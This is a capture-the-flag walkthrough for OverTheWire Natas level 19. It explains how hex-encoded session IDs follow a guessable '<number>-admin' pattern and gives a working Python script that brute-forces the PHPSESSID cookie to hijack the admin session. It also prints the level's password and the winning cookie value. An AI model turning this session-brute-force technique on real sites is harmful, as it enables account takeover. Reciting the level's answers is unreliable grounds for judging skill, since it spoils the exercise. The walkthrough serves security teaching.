OverTheWire Natas Level 19 Walkthrough

Level 19 of OverTheWire’s Natas is a continuation of level 18, with a bit more scripting work involved. This walkthrough covers the solution for level 19, including creating a Python script.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 19 flag found in level 18 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 19 ➔ 20

If we visit http://natas19.natas.labs.overthewire.org/ and login with username natas19 and password 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs from the last level, we’re greeted with this screen:

It says that the page uses mostly the same code but the session IDs are no longer sequential.

Unlike last time, we don’t have source code to work with. We do know that there is some similarity with the past level, where we only had to brute for the correct PHPSESSID (turns out the correct value was 119).

If we enter in made up credentials, like “test” and test” for the username and password, we get logged in:

Open up the Applications (or Storage, if you’re in Firefox) tab in Dev Tools and you’ll see that we’ve got a PHPSESSID assigned to us:

The value is 3334342d74657374 which hex decodes to 344-test (use CyberChef to see this decoding in action).

If we clear our cookie and login as admin (with a random password), we get a new PHPSESSID cookie value:

This value (37312d61646d696e) decodes to 71-admin. If we log out and log back in (again with username admin, we get a different <random #>-admin value, in my case, 100-admin.

Brute forcing

As mentioned before, the we’re not given the source code, but we know the code is similar… and a few random tests show us that there is a pattern.

Using the script from the last level, we want to make some modifications to brute force <random-value>-admin and then hex encode it.

Script updates

In order to do so, we’ll need to update the basic auth portion of the script to use level 19’s credentials, as well as update the target URL.

The portion that creates the random admin value looks like this:

"".join("{:02x}".format(ord(c)) for c in str(count))

Where count is a value between 1 and 640. This code:

  • Makes the count value a string (e.g. 123 -> "123"): str(count)
  • Iterates through each character c in the string: for c in str(count)
  • For each character c, gets the ord(c) which is the hexadecimal representation of that character
  • Formats it as a two-character hex value: join("{:02x}".format(...))
  • And then concatenates that output with ""

Then, this value has -admin in hex format (2d61646d696e) added to the end and set as the PHPSESSID cookie value.

Finalized script

Altogether, the updated script looks like this:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')

MAX = 640
count = 1

u="http://natas19.natas.labs.overthewire.org/index.php?debug"

while count <= MAX:

    numberAsHex = "".join("{:02x}".format(ord(c)) for c in str(count))
    adminPortion = "2d61646d696e"

    sessionID = "PHPSESSID=" + numberAsHex + adminPortion
    print(sessionID)

    headers = {'Cookie': sessionID}
    response = requests.get(u, headers=headers, auth=basicAuth, verify=False)

    if "You are logged in as a regular user" not in response.text:
        print(response.text)

    count += 1

print("Done!")

If we run this script with python scriptname.py then we eventually get to the correct PHPSESSID value:

This value is PHPSESSID=3238312d61646d696e which decodes to 281-admin

Natas Level 19 Solution

The level 20 flag is already visible in the script output above but we can also set the cookie directly in our browser (using Dev Tools).

After setting cookie PHPSESSID to 3238312d61646d696e, we get the flag:

Takeaway: hex-encoding a guessable (or brute-forceable) parameter isn’t any more secure than having a plaintext guessable parameter.